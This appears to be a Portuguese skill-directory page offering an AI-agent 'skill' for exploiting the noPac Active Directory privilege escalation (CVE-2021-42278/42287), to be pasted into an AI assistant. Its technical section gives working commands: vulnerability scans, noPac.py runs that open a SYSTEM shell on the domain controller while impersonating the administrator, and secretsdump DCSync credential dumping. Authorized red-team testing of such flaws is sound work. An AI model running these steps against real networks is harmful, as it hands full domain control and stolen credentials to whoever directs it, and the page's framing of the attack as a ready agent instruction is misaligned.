exploiting-nopac-cve-2021-42278-42287
Faz seu agente explorar a cadeia de escalada de privilégios no Active Directory noPac (CVE-2021-42278/42287).
O que ela faz
Essa ferramenta ajuda a testar a segurança de redes de computadores, especificamente explorando falhas antigas (CVE-2021-42278 e CVE-2021-42287) no sistema Active Directory da Microsoft. Ela permite que um usuário comum ganhe privilégios de administrador.
Quando usar
- ✓Ao testar a segurança de uma rede com permissão.
- ✓Ao analisar como ataques funcionam em um ambiente controlado.
- ✓Durante simulações de ataque (red teaming) para encontrar fraquezas.
Exemplo do que pedir para a IA
“Quero testar se a falha noPac pode ser explorada na nossa rede.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa duas falhas conhecidas para enganar o sistema de autenticação. Ela faz parecer que um usuário comum é um controlador de domínio, permitindo que ele obtenha acesso total.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nopac-cve-2021-42278-42287Ou baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-nopac-cve-2021-42278-42287/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando o noPac (CVE-2021-42278 / CVE-2021-42287)
Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude de computador.
Visão Geral
noPac é uma cadeia crítica de exploração que combina duas vulnerabilidades do Active Directory: CVE-2021-42278 (falsificação de sAMAccountName) e CVE-2021-42287 (confusão de PAC do KDC). Juntas, elas permitem que qualquer usuário autenticado do domínio escale para privilégios de Administrador de Domínio, potencialmente alcançando o comprometimento total do domínio em menos de 60 segundos. A CVE-2021-42278 permite que um atacante modifique o atributo sAMAccountName de uma conta de máquina para corresponder ao nome de um Controlador de Domínio (menos o '$' final). A CVE-2021-42287 explora uma falha na validação do PAC do Kerberos, onde o KDC, incapaz de encontrar a conta renomeada, recorre a anexar '$' e emite um ticket para a conta do Controlador de Domínio. A Microsoft corrigiu ambas as vulnerabilidades em novembro de 2021 (KB5008380 e KB5008602), mas muitos ambientes permanecem sem correção. O exploit foi lançado publicamente por cube0x0 e Ridter em dezembro de 2021.
Quando Usar
- Ao realizar testes de segurança autorizados que envolvam a exploração de nopac cve 2021 42278 42287
- Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
- Ao conduzir exercícios de equipe vermelha ou engajamentos de teste de penetração
- Ao construir capacidades de detecção com base na compreensão de técnicas ofensivas
Pré-requisitos
- Familiaridade com conceitos e ferramentas de red teaming
- Acesso a um ambiente de teste ou laboratório para execução segura
- Python 3.8+ com as dependências necessárias instaladas
- Autorização apropriada para quaisquer atividades de teste
Objetivos
- Escanear o domínio alvo em busca da vulnerabilidade noPac (CVE-2021-42278/42287)
- Criar ou alavancar uma conta de máquina com sAMAccountName modificado
- Explorar a confusão de PAC do KDC para obter um TGT para o Controlador de Domínio
- Usar o ticket do DC para realizar DCSync e extrair credenciais do domínio
- Alcançar acesso de Administrador de Domínio a partir de uma conta de usuário de domínio padrão
- Documentar a cadeia completa de exploração com evidências
Mapeamento MITRE ATT&CK
- T1068 - Exploitation for Privilege Escalation (Exploração para Escalação de Privilégios)
- T1136.002 - Create Account: Domain Account (Criar Conta: Conta de Domínio)
- T1078.002 - Valid Accounts: Domain Accounts (Contas Válidas: Contas de Domínio)
- T1558 - Steal or Forge Kerberos Tickets (Roubar ou Forjar Tickets Kerberos)
- T1003.006 - OS Credential Dumping: DCSync (Extração de Credenciais do SO: DCSync)
Fluxo de Trabalho
Fase 1: Verificação de Vulnerabilidade
- Verifique se o domínio é vulnerável usando o scanner noPac:
# Using cube0x0's noPac scanner python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1 # Using CrackMapExec module crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac - Verifique o MachineAccountQuota (o padrão é 10, permitindo que qualquer usuário ingresse computadores):
# Check MachineAccountQuota via LDAP python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) "
Fase 2: Exploração com a Ferramenta noPac
- Execute a cadeia completa de exploração do noPac:
# Using cube0x0's noPac (gets a shell on the DC) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # Using Ridter's noPac (alternative implementation) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dump - O exploit automaticamente:
- Cria uma nova conta de máquina (ou usa uma existente)
- Renomeia o sAMAccountName da conta de máquina para corresponder ao DC (por exemplo, "DC01")
- Solicita um TGT para o nome da conta falsificada
- Restaura o sAMAccountName original
- Usa S4U2self para obter um ticket de serviço que representa o usuário alvo
- O KDC não encontra nenhuma conta correspondente a "DC01" e recorre a "DC01$" (o DC real)
Fase 3: Pós-Exploração
- Com o ticket do Controlador de Domínio obtido, execute o DCSync:
# DCSync using secretsdump.py with the Kerberos ticket export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local # Or directly through the noPac shell # The shell runs as SYSTEM on the DC
…
Perguntas frequentes
O que é Active Directory?
É um sistema da Microsoft usado para gerenciar computadores e usuários em uma rede corporativa.
O que são CVEs?
São números que identificam vulnerabilidades (falhas de segurança) conhecidas em softwares.
É seguro usar isso?
Somente em redes que você tem permissão explícita para testar. Usar em redes não autorizadas é ilegal.
Detalhes
Descrição original do autor
Exploits the noPac Active Directory privilege-escalation chain (CVE-2021-42278 sAMAccountName spoofing plus CVE-2021-42287 KDC PAC confusion) using Impacket and secretsdump.py to escalate from a standard domain user to Domain Admin. Use when red-teaming or pentesting Active Directory to validate machine-account impersonation and DCSync-based credential dumping.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5753
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC